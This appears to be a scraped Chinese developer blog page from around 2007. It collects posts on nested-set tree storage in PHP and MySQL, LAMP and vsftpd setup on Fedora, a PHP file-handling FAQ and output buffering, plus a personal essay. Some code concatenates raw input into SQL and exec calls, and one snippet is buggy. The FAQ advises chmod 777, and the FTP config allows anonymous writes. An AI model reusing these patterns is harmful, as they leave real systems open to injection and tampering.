-
[转] 如何用数据库保存多级结构的数据
stcer 发布于 2007-02-13 15:14:00
http://www.chinaunix.net 作者:shukebeita 发表于:2006-06-28 11:41:44
产品分类,多级的树状结构的论坛,邮件列表等许多地方我们都会遇到这样的问题:如何存储多级结构的数据?在PHP的应用中,提供后台数据存储的通常是关系型数据库,它能够保存大量的数据,提供高效的数据检索和更新服务。然而关系型数据的基本形式是纵横交错的表,是一个平面的结构,如果要将多级树状结构存储在关系型数据库里就需要进行合理的翻译工作。接下来我会将自己的所见所闻和一些实用的经验和大家探讨一下:
层级结构的数据保存在平面的数据库中基本上有两种常用设计方法:
1、毗邻目录模式(adjacency list model)
2、预排序遍历树算法(modified preorder tree traversal algorithm)
我不是计算机专业的,也没有学过什么数据结构的东西,所以这两个名字都是我自己按照字面的意思翻的,如果说错了还请多多指教。
这两个东西听着好像很吓人,其实非常容易理解。这里我用一个简单食品目录作为我们的示例数据。
我们的数据结构是这样的
以下是代码:
Food
|
|---Fruit
| |
| |---Red
| | |
| | |--Cherry
| |
| |---Yellow
| |
| |--Banana
|
|---Meat
|
|--Beef
|
|--Pork
为了照顾那些英文一塌糊涂的PHP爱好者
Food:食物
Fruit:水果
Red:红色
Cherry:樱桃
Yellow:黄色
Banana:香蕉
Meat:肉类
Beef:牛肉
Pork:猪肉
毗邻目录模式(adjacency list model)
这种模式我们经常用到,很多的教程和书中也介绍过。我们通过给每个节点增加一个属性 parent 来表示这个节点的父节点从而将整个树状结构通过平面的表描述出来。根据这个原则,例子中的数据可以转化成如下的表:
以下是代码:
+-----------------------+
| parent | name |
+-----------------------+
| | Food |
| Food | Fruit |
| Fruit | Green |
| Green | Pear |
| Fruit | Red |
| Red | Cherry |
| Fruit | Yellow |
| Yellow | Banana |
| Food | Meat |
| Meat | Beef |
| Meat | Pork |
+-----------------------+
我们看到 Pear 是Green的一个子节点,Green是Fruit的一个子节点。而根节点'Food'没有父节点。 为了简单地描述这个问题, 这个例子中只用了name来表示一个记录。 在实际的数据库中,你需要用数字的id来标示每个节点,数据库的表结构大概应该像这样:id, parent_id, name, descrīption。
有了这样的表我们就可以通过数据库保存整个多级树状结构了。
显示多级树
如果我们需要显示这样的一个多级结构需要一个递归函数。
以下是代码:
<?php
// $parent is the parent of the children we want to see
// $level is increased when we go deeper into the tree,
// used to display a nice indented tree
function display_children($parent, $level)
{
// 获得一个 父节点 $parent 的所有子节点
$result = mysql_query('SELECT name FROM tree '.
'WHERE parent="'.$parent.'";');
// 显示每个子节点
while ($row = mysql_fetch_array($result))
{
// 缩进显示节点名称
echo str_repeat(' ',$level).$row['name']."n";
//再次调用这个函数显示子节点的子节点
display_children($row['name'], $level+1);
}
}
?>;
对整个结构的根节点(Food)使用这个函数就可以打印出整个多级树结构,由于Food是根节点它的父节点是空的,所以这样调用: display_children('',0)。将显示整个树的内容:
Food
Fruit
Red
Cherry
Yellow
Banana
Meat
Beef
Pork
如果你只想显示整个结构中的一部分,比如说水果部分,就可以这样调用:display_children('Fruit',0);
几乎使用同样的方法我们可以知道从根节点到任意节点的路径。比如 Cherry 的路径是 "Food >; Fruit >; Red"。 为了得到这样的一个路径我们需要从最深的一级"Cherry"开始, 查询得到它的父节点"Red"把它添加到路径中, 然后我们再查询Red的父节点并把它也添加到路径中,以此类推直到最高层的"Food"
以下是代码:
<?php
// $node 是那个最深的节点
function get_path($node)
{
// 查询这个节点的父节点
$result = mysql_query('SELECT parent FROM tree '.
'WHERE name="'.$node.'";');
$row = mysql_fetch_array($result);
// 用一个数组保存路径
$path = array();
// 如果不是根节点则继续向上查询
// (根节点没有父节点)
if ($row['parent']!='')
{
// the last part of the path to $node, is the name
// of the parent of $node
$path[] = $row['parent'];
// we should add the path to the parent of this node
// to the path
$path = array_merge(get_path($row['parent']), $path);
}
// return the path
return $path;
}
?>;
如果对"Cherry"使用这个函数:print_r(get_path('Cherry')),就会得到这样的一个数组了:
Array
(
[0] =>; Food
[1] =>; Fruit
[2] =>; Red
)
接下来如何把它打印成你希望的格式,就是你的事情了。
缺点:
这种方法很简单,容易理解,好上手。但是也有一些缺点。主要是因为运行速度很慢,由于得到每个节点都需要进行数据库查询,数据量大的时候要进行很多查询才能完成一个树。另外由于要进行递归运算,递归的每一级都需要占用一些内存所以在空间利用上效率也比较低。
现在让我们看一看另外一种不使用递归计算,更加快速的方法,这就是预排序遍历树算法(modified preorder tree traversal algorithm)
这种方法大家可能接触的比较少,初次使用也不像上面的方法容易理解,但是由于这种方法不使用递归查询算法,有更高的查询效率。
我们首先将多级数据按照下面的方式画在纸上,在根节点Food的左侧写上 1 然后沿着这个树继续向下 在 Fruit 的左侧写上 2 然后继续前进,沿着整个树的边缘给每一个节点都标上左侧和右侧的数字。最后一个数字是标在Food 右侧的 18。 在下面的这张图中你可以看到整个标好了数字的多级结构。(没有看懂?用你的手指指着数字从1数到18就明白怎么回事了。还不明白,再数一遍,注意移动你的手指)。
这些数字标明了各个节点之间的关系,"Red"的号是3和6,它是 "Food" 1-18 的子孙节点。 同样,我们可以看到 所有左值大于2和右值小于11的节点 都是"Fruit" 2-11 的子孙节点
以下是代码:
1 Food 18
|
+-------------------------------------------+
| |
2 Fruit 11 12 Meat 17
| |
+------------------------+ +-----------------------+
| | | |
3 Red 6 7 Yellow 10 13 Beef 14 15 Pork 16
| |
4 Cherry 5 8 Banana 9
这样整个树状结构可以通过左右值来存储到数据库中。继续之前,我们看一看下面整理过的数据表。
以下是代码:
+-----------------------+-----+-----+
| parent | name | lft | rgt |
+-----------------------+-----+-----+
| | Food | 1 | 18 |
| Food | Fruit | 2 | 11 |
| Fruit | Red | 3 | 6 |
| Red | Cherry | 4 | 5 |
| Fruit | Yellow | 7 | 10 |
| Yellow | Banana | 8 | 9 |
| Food | Meat | 12 | 17 |
| Meat | Beef | 13 | 14 |
| Meat | Pork | 15 | 16 |
+-----------------------+-----+-----+
注意:由于"left"和"right"在 SQL中有特殊的意义,所以我们需要用"lft"和"rgt"来表示左右字段。 另外这种结构中不再需要"parent"字段来表示树状结构。也就是 说下面这样的表结构就足够了。
以下是代码:
+------------+-----+-----+
| name | lft | rgt |
+------------+-----+-----+
| Food | 1 | 18 |
| Fruit | 2 | 11 |
| Red | 3 | 6 |
| Cherry | 4 | 5 |
| Yellow | 7 | 10 |
| Banana | 8 | 9 |
| Meat | 12 | 17 |
| Beef | 13 | 14 |
| Pork | 15 | 16 |
+------------+-----+-----+
好了我们现在可以从数据库中获取数据了,例如我们需要得到"Fruit"项下的所有所有节点就可以这样写查询语句:
SELECT * FROM tree WHERE lft BETWEEN 2 AND 11;
这个查询得到了以下的结果。
以下是代码:
+------------+-----+-----+
| name | lft | rgt |
+------------+-----+-----+
| Fruit | 2 | 11 |
| Red | 3 | 6 |
| Cherry | 4 | 5 |
| Yellow | 7 | 10 |
| Banana | 8 | 9 |
+------------+-----+-----+
看到了吧,只要一个查询就可以得到所有这些节点。为了能够像上面的递归函数那样显示整个树状结构,我们还需要对这样的查询进行排序。用节点的左值进行排序:
SELECT * FROM tree WHERE lft BETWEEN 2 AND 11 ORDER BY lft ASC;
剩下的问题如何显示层级的缩进了。
以下是代码:
<?php
function display_tree($root)
{
// 得到根节点的左右值
$result = mysql_query('SELECT lft, rgt FROM tree '.'WHERE name="'.$root.'";');
$row = mysql_fetch_array($result);
// 准备一个空的右值堆栈
$right = array();
// 获得根基点的所有子孙节点
$result = mysql_query('SELECT name, lft, rgt FROM tree '.
'WHERE lft BETWEEN '.$row['lft'].' AND '.
$row['rgt'].' ORDER BY lft ASC;');
// 显示每一行
while ($row = mysql_fetch_array($result))
{
// only check stack if there is one
if (count($right)>;0)
{
// 检查我们是否应该将节点移出堆栈
while ($right[count($right)-1]<$row['rgt'])
{
array_pop($right);
}
}
// 缩进显示节点的名称
echo str_repeat(' ',count($right)).$row['name']."n";
// 将这个节点加入到堆栈中
$right[] = $row['rgt'];
}
}
?>;
如果你运行一下以上的函数就会得到和递归函数一样的结果。只是我们的这个新的函数可能会更快一些,因为只有2次数据库查询。
要获知一个节点的路径就更简单了,如果我们想知道Cherry 的路径就利用它的左右值4和5来做一个查询。
SELECT name FROM tree WHERE lft < 4 AND rgt >; 5 ORDER BY lft ASC;
这样就会得到以下的结果:
以下是代码:
+------------+
| name |
+------------+
| Food |
| Fruit |
| Red |
+------------+
那么某个节点到底有多少子孙节点呢?很简单,子孙总数=(右值-左值-1)/2
descendants = (right – left - 1) / 2
不相信?自己算一算啦。
用这个简单的公式,我们可以很快的算出"Fruit 2-11"节点有4个子孙节点,而"Banana 8-9"节点没有子孙节点,也就是说它不是一个父节点了。
很神奇吧?虽然我已经多次用过这个方法,但是每次这样做的时候还是感到很神奇。
这的确是个很好的办法,但是有什么办法能够帮我们建立这样有左右值的数据表呢?这里再介绍一个函数给大家,这个函数可以将name和parent结构的表自动转换成带有左右值的数据表。
以下是代码:
<?php
function rebuild_tree($parent, $left) {
// the right value of this node is the left value + 1
$right = $left+1;
// get all children of this node
$result = mysql_query('SELECT name FROM tree '.
'WHERE parent="'.$parent.'";');
while ($row = mysql_fetch_array($result)) {
// recursive execution of this function for each
// child of this node
// $right is the current right value, which is
// incremented by the rebuild_tree function
$right = rebuild_tree($row['name'], $right);
}
// we've got the left value, and now that we've processed
// the children of this node we also know the right value
mysql_query('UPDATE tree SET lft='.$left.', rgt='.
$right.' WHERE name="'.$parent.'";');
// return the right value of this node + 1
return $right+1;
}
?>;
当然这个函数是一个递归函数,我们需要从根节点开始运行这个函数来重建一个带有左右值的树
rebuild_tree('Food',1);
这个函数看上去有些复杂,但是它的作用和手工对表进行编号一样,就是将立体多层结构的转换成一个带有左右值的数据表。
那么对于这样的结构我们该如何增加,更新和删除一个节点呢?
增加一个节点一般有两种方法:
第一种,保留原有的name 和parent结构,用老方法向数据中添加数据,每增加一条数据以后使用rebuild_tree函数对整个结构重新进行一次编号。
第二种,效率更高的办法是改变所有位于新节点右侧的数值。举例来说:我们想增加一种新的水果"Strawberry"(草莓)它将成为"Red"节点的最后一个子节点。首先我们需要为它腾出一些空间。"Red"的右值应当从6改成8,"Yellow 7-10 "的左右值则应当改成 9-12。 依次类推我们可以得知,如果要给新的值腾出空间需要给所有左右值大于5的节点 (5 是"Red"最后一个子节点的右值) 加上2。 所以我们这样进行数据库操作:
UPDATE tree SET rgt=rgt+2 WHERE rgt>;5;
UPDATE tree SET lft=lft+2 WHERE lft>;5;
这样就为新插入的值腾出了空间,现在可以在腾出的空间里建立一个新的数据节点了, 它的左右值分别是6和7
INSERT INTO tree SET lft=6, rgt=7, name='Strawberry';
再做一次查询看看吧!怎么样?很快吧。
好了,现在你可以用两种不同的方法设计你的多级数据库结构了,采用何种方式完全取决于你个人的判断,但是对于层次多数量大的结构我更喜欢第二种方法。如果查询量较小但是需要频繁添加和更新的数据,则第一种方法更为简便。
另外,如果数据库支持的话 你还可以将rebuild_tree()和 腾出空间的操作写成数据库端的触发器函数, 在插入和更新的时候自动执行, 这样可以得到更好的运行效率, 而且你添加新节点的SQL语句会变得更加简单。 -
Fedora 8下用Yum安装Apache+PHP+MySQL环境
fengyun 发布于 2008-01-14 18:59:42
fedora8 用yum来管理安装Apache+PHP+Mysql的基本安装。
1. 安装Apahce, PHP, Mysql, 以及php连接mysql库组件。
yum -y install httpd php mysql mysql-server php-mysql
2. 配置开机启动服务
/sbin/chkconfig httpd on [设置apache服务器httpd服务开机启动]
/sbin/chkconfig --add mysqld [在服务清单中添加mysql服务]
/sbin/chkconfig mysqld on [设置mysql服务开机启动]
/sbin/service httpd start [启动httpd服务,与开机启动无关]
/sbin/service mysqld start [启动mysql服务,与开机无关]
3.设置mysql数据库root帐号密码。
mysqladmin -u root password 'newpassword' [引号内填密码]
4. 让mysql数据库更安全
mysql -u root -p
mysql> DROP DATABASE test; [删除test数据库]
mysql> DELETE FROM mysql.user WHERE user = ''; [删除匿名帐户]
mysql> FLUSH PRIVILEGES; [重载权限]
5. 按照以上的安装方式, 配置出来的默认站点目录为/var/www/html/
新建一个php脚本:
<?php
phpinfo();
?>
6. 新建一个数据库,添加一个数据库用户,设置用户权限。写个php脚本测试一下数据库连接吧。
mysql> CREATE DATABASE my_db;
mysql> GRANT ALL PRIVILEGES ON my_db.* TO 'user'@'localhost' IDENTIFIED BY 'password';//安装apache扩展yum -y install httpd-manual mod_ssl mod_perl mod_auth_mysql//安装php的扩展yum install php-gdyum -y install php-gd php-xml php-mbstring php-ldap php-pear php-xmlrpc//安装mysql扩展yum -y install mysql-connector-odbc mysql-devel libdbi-dbd-mysqlFedora 7(Linux)下 Apache+PHP+MySQL+Subversion 开发测试环境配置过程 -
fedora8 vsftpd配置
fengyun 发布于 2008-01-15 14:54:36
vsftp的配置文件/etc/vsftpd/vsftpd.conf
vsftpd配置:
/etc/vsftpd.conf :
anonymous_enable=YES
#允许匿名访问
local_enable=YES
#允许本地用户访问(/etc/passwd中的用户)
write_enable=YES
#允许写入权限,包括修改,删除
local_umask=022
#本地用户文件上传后的权限是-rw-r-r
#anon_umask=077
#匿名用户上传后权限是-rw----
anon_world_readable_only=YES
#允许匿名用户浏览,下载文件
anon_upload_enable=YES
#允许匿名用户上传
#anon_mkdir_write_enable=YES
#允许匿名用户建立目录
anon_other_write_enable=YES
#允许匿名用户具有建立目录,上传之外的权限,如重命名,删除
dirmessage_enable=YES
#当使用者转换目录,则会显示该目录下的.message信息
xferlog_enable=YES
#记录s使用者所有上传下载信息
xferlog_file=/var/log/vsftpd.log
#将上传下载信息记录到/var/log/vsftpd.log中
connect_from_port_20=YES
#确保ftp-datad 数据传送使用port 20
idle_session_timeout=600
#如果使用者600秒没有动作,则踢出
chroot_list_enable=YES
#限制使用者不能离开家目录,例如blue登陆后位于/home/blue下,设置该选项后,他不可以转到/home/blue的上层目录,如/bin, /usr,/opt...etc。
chroot_list_file=/etc/vsftpd.chroot_list
#与上条同时使用,设置限制使用者的存放文件为/etc/vsftpd.chroot_list
#建立文本文件/etc/vsftpd.chroot_list,写入要限制的用户,一行一个。
#如果希望限制所有用户,则可以设置chroot_local_user=YES 代替上面两行
tcp_wrappers=YES
#支持tcp_wrappers,限制访问(/etc/hosts.allow,/etc/hosts.deny)
listen=YES
#使用standalone启动vsftpd,而不是super daemon(xinetd)控制它 (vsftpd推荐使用standalone方式)
listen_port=21
#ftp监听端口
userlist_enable=YES
userlist_deny=YES
userlist_file=/etc/vsftpd.user_list
#以上三条设定不允许登陆的用户,用户列表存放在/etc/vsftpd.user_list中,一行一个帐号
pam_service_name=vsftpd
#PAM所使用的名称.同userlist_*一样限制用户登陆,不同的是userlist_*在进行密码验证之前拒绝用户登陆,pam是在密码验证之后拒绝登陆.(提示密码错误) 用户列表默认存放在/etc/ftpusers中,一行一个. (可通过/etc/pam.d/vsftpd重定向用户列表存放文件)
#获得 /etc/pam.d/vsftpd:
#[root@LFS vsftpd-2.0.1]#cp RedHat/vsftpd.pam /etc/pam.d/vsftpd
max_clients=100
#最大用户在线数量
max_per_ip=2
#每ip最大线程
anon_max_rate=30000
#匿名用户最大传输速度 单位: bytes/秒
local_max_rate=50000
#本地用户最大传输速度 单位:bytes/秒
user_config_dir=/etc/userconf
#个别用户配置目录(用来设定特殊帐号),例如我想让blue这个用户的传输速度是100KB
就可以在/etc/userconf/下创建文本文件blue(与用户名相同),加入local_max_rate=100000即可
anon_root=/var/ftp
#设定匿名用户登陆后所在的目录
local_root=/var/local_user
#设定所有本地用户登陆后的目录,如不设置此项,则本地用户登陆后位于各自家目录下。
use_localtime=YES
#使用本地时间而不是GMT
nopriv_user=vsftpd
#设定服务执行者为vsftpd,默认使用的是nobody,vsftpd推荐使用一个权限很低的用户.这里用vsftpd代替nobody,创建 vsftpd用户:
[root@LFS vsftpd-2.0.1]#groupadd vsftpd
[root@LFS vsftpd-2.0.1]#useradd -d /dev/null -g vsftpd -s /bin/false vsftpd
这样就有了个权限非常低的vsftpd用户(没有家目录(/dev/null),没有登陆shell(/bin/false),系统会更安全,设定好后就可以启动啦 :)
[root@LFS etc]#/usr/sbin/vsftpd
[root@LFS etc]#netstat -tul
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:6000 *:* LISTEN
tcp 0 0 *:ftp *:* LISTEN -
我这三年-程序人生
jinxikun001 发布于 2007-12-25 10:16:08
晚上来了些情绪,遂用这段情绪写些东西吧--这也是我许久来一直在想的东西。各位同志写完程序,会抽烟的点上一根,不抽烟的或者戒了的索性就倒杯茶吧(说明一点:干完了活再来听我罗嗦,否则BOSS来了,看到你不在CODING,就不好了),看看我写的这些东西,谈谈你们的想法。
难道我在写自传吗?
直到现在,我仍觉得没能上大学是我长这么大以来最遗憾的一件事情。上高中的时候,一个女孩子让我魂牵梦绕,直把我送进精神病院,直把我送进一所几乎不能称为大学的学校。坐在那个教室里,听他们打牌的吆喝和嗑瓜子的声音;晚上躺在寝室的铁架子床上,也会有不和我同性别的人或在我的上铺或在我的下铺过夜,弄得我或想入非非或是全身燥热。
自己干吧!当时大概是家里卖了些粮食或是卖了两口猪,那天父亲给我送来2000块钱,说,就这么多,不够我再去想办法。后来,我自己又去借了大概800块钱,加上父亲给的,买了台旧电脑。我清楚地记得是这样的配置:CyrixMII-233,32M,GIGA,Trident9750,Quantum2.1G,Wescom14"。在学校后面的居民区租了间60块钱的小房子,干起来了。
于是不久,我会在那个黑黑的DOS界面上printf出“Hello,world!”了,再过不久,能用VB把一张有一只白色鸽子的画片弄得向左向右跑了。同时,学校的一个什么榜上有了我的名字:缺课XX节。那个制定罚款制度的班主任托一个同学借给我100块钱(到后来才直到的),交了罚款,弄得我当时还很感激那个借我100块钱的女生。总之那个时候对程序设计充满了理想和幻想,以为以后会拿有些人说的5000块的工资,就不用吃那么多面条了。大概也是在那个时候认识了一个脸上长着不少麻子,个头也不高的女孩子,过年回家的时候,有些舍不得,我就亲了她一口。
以后的大概一年时间总是很艰苦。先是我成了跟读生;然后去一些皮包电脑公司用螺丝钉把一堆散件装成一台机器,弄些生活费;还记得跟我的同班同学讲过C/C++(当然是皮毛,当时也不知道C++能干嘛);也梦想过和一个自吹自擂的家伙要把CMOS汉化(到现在我还都不知道如何干)。那一年大概总是把生活费减到最低,每月抽出来可怜的几十块钱买书。最经典的一次情况是这样:家里非常困难,我只拿到120块生活费,还尽是十块、五块、两块面值的,虽然就120块,可是却有一大把,我哭了(后来想起来也哭过),然后去学校给那些同学们继续讲C++。那天大概我已经两天没吃饭了(只啃过几个冷馒头),在黑板上写完,转身的时候,眼前一花!还好,没摔倒,同学们还以为我没站稳,我就将就着把那节课讲完了。我那些同学们当然都不知道我的那个胃已经十分饥饿,窗外到是有个人隐约看出来了,就是那个我亲过一口的脸上长麻子的姑娘。下课后,也就放学了,她带我去一个小饭馆吃了饭,吃的菜是一盘炒鸡蛋。这件事情让我想到了一个人:韩信。
于是又一个春节要到了,我发了一封专递给当地一所环境好些的学校(二、三类院校,却已是当地最好的一所学校了)的校长,提出让他同意我在那里旁听的事情,后来没了消息。我就隐姓埋名在那个学校的一座寝室楼里的一个空铺上住了半年。每个星期上四节数学课、四节英语课,其他时间疯狂地泡在图书馆。大概那年过了夏天不久,当地的人民广场里贴出来不少大字报,批判我曾经试图感动的那个校长,好像后来校长坐了牢。大字报还有些残存在那个人民广场的时候,我不想吃白饭了,也没法吃白饭了,去了一个电脑公司,这回不是装机器,改装网络了--网络时代到来了嘛!几个网吧、超市弄下来,发了几百块工资。正巧当地开了第一家麦当劳,就请那个麻子脸的姑娘去撮了一顿,花了24块钱,感觉很自豪。年底的时候,四处凑了1000快钱,买了一套西服还有衬衫皮鞋领带,不知道天高地厚地跑起当地一个企业的ERP了。弄得北京一个饿得发急的软件公司真以为我有如何通天的本领能把那个项目拿下来。一个商业期刊的一位编辑一句话把我敲醒:你才20岁呀!我当时很郁闷,钱也快花光了,电脑都卖掉了。大概是来了什么情绪,在CSDN上发了个帖子,没想被一个福建的项目经理(一个做MIS的公司)看到了,于是我步入这个什么“软件开发”行业了。
转眼,又一个春节到了。
正月初七的早上,我骑车十几里去一个网吧上网(我家所在的那个乡镇上没有可以上网的地方)。打开邮箱,福建的那个项目经理同意我去他的公司干,我当时的心情完全可以用“欣喜若狂”这个词来形容。回去的路上,我骑车都不用手扶车把了,一口气跑回家里,收拾行李。刷地跑到了福建,直接去了开发现场(直到现在,我都还没有去过那个福建的公司所在的写字楼)。一开始,什么都不会,天天看书,看那些兄弟姐妹们写的代码。慢慢地,能处理一些软件使用中出现的问题了,再后来,项目经理敢把一些小功能的实现交给我来干了。发第一个月工资的时候,已经是五月份了(公司当时有些困难),我于是不顾一切地请假跑回老家去看那个麻脸的姑娘。之所以那么急切,其一是我已经有近一年没见着那个姑娘,且最后一次在一起的场面是一个分手的场面:她哭着,我沉默着把她送到她回家的汽车上(我当时在想,我养不活她);其二就是,我有三个月没出过写代码的那个房子了(除了吃饭)。
回到老家那个我上学的那个城市的当天晚上,我住了个30块钱一间的旅馆。第二天早上八点,在车站里接到了那个麻脸姑娘。我生平第一次自己掏钱打了个的(富康),于是车载着我和她朝我住的旅馆开,我伸出右手放在她身边,她会意地握住我的手,就那样握着,彼此都没有一句话,当时特别激动,好像是我长那么大以来最激动得最严重的一次。车开到我住的旅馆,我和她走进我住的房间,便开始拥抱。抱在一起大概有一刻钟的样子,我又一次吻了她。然后的两天晚上,她就和我睡在一张床上,睡在我的左边,我也忍住了,没有和她做爱(尽管我很想做),只记得她又落了些眼泪。所以,到现在,我还是个童子身。
回到福建继续干项目。项目的情况很糟糕,客户吵着要求赔款,公司也很难。我在项目组不是骨干,另外我也没甚经验,与客户的沟通也让客户没好感,于是公司把我辞掉了。离开福建的时候,我很难受,想起在这个项目中起早贪黑地干,工资一拖再拖,还受不少委屈,我的眼睛都有些湿。项目经理跟公司领导提出和我单独呆谈谈,其实什么也没有谈,我就趴在桌子上,他就扶着我的肩膀。
回到老家,四处找工作。去过武汉一些大公司,因为学历问题,被拒之门外;也兴冲冲地跑到青岛的一个公司,却发现他们其实是在搞上市前的炒作,当然也没有被聘用;在老家单独给一个批发商做进销存,到后来发现是个骗局;去天津的公司,被派到河北邯郸单独干一个铁路上的小项目,却出了车祸;回家养好伤,现在到了浙江一个小公司,拿很低的工资。说实话我现在没多少写程序的激情了,很冷静。现在,我感觉做数据库太低端,觉得就是给客户企业算帐。我真想回到学校再去旁听一回,转向硬件或其他的领域。无奈,要生存,要挣钱,要写SQL语句。
或许运气比较好,在福建的时候,项目组的几个人真就像是亲兄弟姐妹一般。活动少,项目经理就带我们用做网络剩下的双绞线跳绳;我眼镜上的一颗螺丝调地上了,有个贵州的姑娘眼力好,就帮我找;开会的时候,经理会说,过来聊聊吧,真就跟聊天一般,会议气氛十分融洽。自从离开福建后,在任何一个地方,都找不到那种感觉了。所以我至今仍然非常怀念在福建的那段时间,假如从前的那个项目经理还同意我跟他干,工资低我也不在乎,我也会过去的!人,不就活种感觉嘛!
每日,我去楼下,都会看到这个富人区的不少轿车,我于是会想当项目经理、想创业,以后做个管人的人,也比较有钱有地位;想起从前的有些同事,快30了,还在写代码,也过得安安稳稳,于是想平淡过活算了,心里平静、踏实就行,不用想那么多;觉得搞MIS太低端(价位),想学学诸如IC、嵌入式又没时间、没条件,在公司偶尔看看这方面的资料还得偷偷摸摸。很是迷茫。现在21岁,应该是上大三、大四的年龄吧,而我却如此田地。
写到这里,也不知道该写些什么了,上面是为我这三年来干的事情的一个回顾。
已经很晚了,明天,还要写程序。
现在开始来看些黄色网站--从前我会把那些图片打印出来,一个人躲到角落里边看边那个的,现在,也没有条件了。
再点上一根烟... -
PHP中对文件的操作问题总结
echoright 发布于 2007-03-28 13:51:00
前言:
PHP中对各类数据库的操作有着支持,对文件的操作也同样有着很丰富的操作方法,很多朋友现在的操作还是基于文件操作可是有的时候在操作文件的时候还存在不少的困惑和疑点,以下是我在日常编写过程中碰到的以及坛上朋友所碰到的关于文件操作的一些问题收藏吧。
问:如何新建一个文件?
答:
1、使用fopen("要建立的文件名","参数"),参数可选w,w+,a,a+
2、使用exec("echo '' > 要建立的文件名");这样是使用系统方式建立这个文件,你还可以使用touch这个Linux命令来建立
问:为什么我无法建立文件?
答:
1、如果你使用了fopen建立文件,是否正确的使用了参数
2、系统权限问题,请询问你的WebMASTER你的FTP目录是否有写的权限
3、FTP权限问题,你要确认你的PHP文件所要写文件所在目录要有写的权限,也就是你的FTP软件登陆后other组要有写这个权限,
如果没有请修改权限后尝试
问:如何将文件读入数组?
答:使用file函数
问:如何将文件全部读出?
答:
1、使用fread($fp);
2、如果你的PHP版本>=4.3.0的话可以使用file_get_contents();
问:如何判断文件是否存在?
答:使用file_exists();
再问:为什么不使用fopen()来判断呢?
答:原因是有时候是因为权限问题导致fopen返回的数据引导我们错误的判断
问:为什么当我读取一个WEB页面的时候出错?
答:
1、可能是你的传递参数错,当读取WEB页面的时候你只可以使用r方式读取页面
2、确保你要读取的WEB页面可以访问
问:我如何才能获得文件的相关属性?
答:PHP提供了一组获得文件属性的方法,例如 filemtime(),fileowner(),filegroup(),filectime(),fileatime()...详细的使用请参阅手册。
问:PHP打开文件后是否可以象C一样进行文件“游标”的定位呢?
答:可以的,使用fseek();
问:我想在访问文件的时候不允许其他人也访问此文件,怎么办?
答:
1、你可以采用其他方面程序限制用户接入文件操作的页面
2、使用flock();详细的参数以及使用方法请参阅手册
问:如何删除文件内第一行,或指定一行数据?
答:
PHP并没有提供这样的操作方法,不过我们可以通过组合使用,以下代码演示我们将删除文件"test.dat"中的第三行数据(test.dat 文件中数据不止三行)
<?php
$filename="test.dat";//定义操作文件
$delline=3; //要删除的行数
if(!file_exsits($filename)){
die("指定文件未发现!操作中断!");
}
$farray=file($filename);//读取文件数据到数组中
for($tmpa=0;$Tmpa<count($farray);$Tmpa++){
if(strcmp($Tmpa+1,$delline)==0){
//判断删除的行
continue;
}
//重新整理后的数据
$newfp.=$farray[$Tmpa]."rn";
}
$fp=@fopen($filename,"a") or die("写方式打开文件 $filename 失败");//我们以写的方式打开文件
@fputs($fp,$newfp) or die("文件写入失败");
@fclose($fp);
?>
以上代码演示的是删除一行文件,不过你如果仔细的看的话,其实也给你提供了其他的文件操作的相关提醒~
问:当我试图打开一个不存在的文件的时候,我如何不让错误显示出来以避免我的路径泄露!!
答:在你要打开文件的方法前增加@符号用来屏蔽错误,@是PHP提供的错误信息屏蔽的专用符号或您可以在这个要操作的步骤前增加(通常是在页首)error_reporting(0);用来屏蔽页面内所有错误信息的显示一个不推荐的方法就是去修改php.ini(ISP除外)。
问:我使用的是虚拟主机,我如何防止其他用户窃取我的数据?
答:建议ISP修改php.ini中的open_basedir进行限制,不推荐的ISP设置是将fopen,file等文件操作加入disable_function中。
问:为什么我用PHP建立文件后我FTP登陆要删除这些文件无法删除??
答:主要是因为PHP建立的文件归属WEB用户组,也就是建立的文件,并非是你FTP用户的!!!这个问题的解决就是,使用PHP程序的chmod,unlink等方式进行处理,建议用户在使用PHP建立文件的时候记得chmod文件权限,建议为777
问:如何使用文本文件作为数据仓库?有的留言本,论坛之类的都是使用这个的啊!
答:其实这个主要还是使用了file,结合explode进行数据读取与分割的典型范例而已。
问:如何更改文件名?
答:rename();
问:如何删除文件?
答:unlink(); exec("del(rm -vf) filename");
注:rm -vf为linux下使用
问:如何清空文件?
答:使用fopen(filename,"w");或exec("echo '' > filename");
问:如何编辑文件内容?
答:我记得我以前回答过一个删除文件内容的,其实编辑内容在删除内容的基础上,进行变量替换就可以了。希望你可以向上找找,将我上面的continue修改为替换变量数据就可以了。 -
“ob系”函数的几个个人理解的区别,结合的着实很令人晕头 *
gently 发布于 2007-11-25 11:50:19
当然纯属个人理解啦!
ob_start()这个当然是打开输出缓冲,无异议,当然有个ob_start("ob_gzhandler"),这个是用gzip压缩优化大小,等于ob_gzhandler。
ob_flush()刷新输出缓冲,个人理解:ob中带flush的都是将缓冲区内容全部输出到浏览器。
ob_end()根本没有这个函数,但是以这个开头的几个函数都是要关闭缓冲的,看来php还是蛮注重效率,关闭缓冲的同时一定要做另一件事!成员有:ob_end_clean(关闭并清除缓冲区)、ob_end_flush(关闭缓冲并输出到浏览器)
ob_clean 清空缓冲区,此时只是将缓冲区内容清除,并没有关闭缓冲,可继续向其中写入内容,但此时应该从0开始写
ob_get()同样不存在这个函数,但是以这个开头的几个函数都是将缓冲区内容取出来作为字符串,有:ob_get_clean、ob_get_contents、ob_get_flush不难理解这几个是干嘛的,但是ob_get_length(获取缓冲区内容长度)、ob_get_level(等于0表示没打开缓冲,大于0难道表示打开缓冲区的个数?)看:QUOTE:
and for ob_get_level() it is the "nest count". Ob_get_level() returns 0 if you are not within an output buffer, 1 if you have got one open, 2 if you have got two, etc.
而事实上,我没有成功的将他的结果输出
,还有一个函数ob_get_status(返回一个数组,包括缓冲区的各项参数,似乎调试比较有用),这几个ob_get开头与前面的意义不同。
ob_list_handlers,列出使用中的缓冲,即采用默认缓冲、还是gzip压缩的,还是其他的。
ob_implicit_flush,打开绝对的刷新,据说以提高执行效率。
本文转自我的博客,原文地址:http://www.zendstudio.net/post/96/,欢迎大家用斧头批评指正!
[ 本帖最后由 gently 于 2007-11-25 11:43 编辑 ] -
也谈在PHP中实现中文汉字验证码 *
gently 发布于 2007-07-25 11:49:02
这个应该最早在QQ里面看到的近乎变态的实现,其实现在的验证码技术已经很强了,我是指PHP+AJAX等技术的在验证码方面的应用,因此,不到“迫不得已”的时候,还是用英文+数字作为验证码为首选,毕竟输入中文相对麻烦的多。
效果类似于这样滴

OK,看看我的代码,也是“近乎变态”了~。
[php]
<?php
/*********************************
* Code by Gently
* 24/07/07
*严正声明:验证码为程序随机生成,“某种巧合”的词语组合属于正常现象,
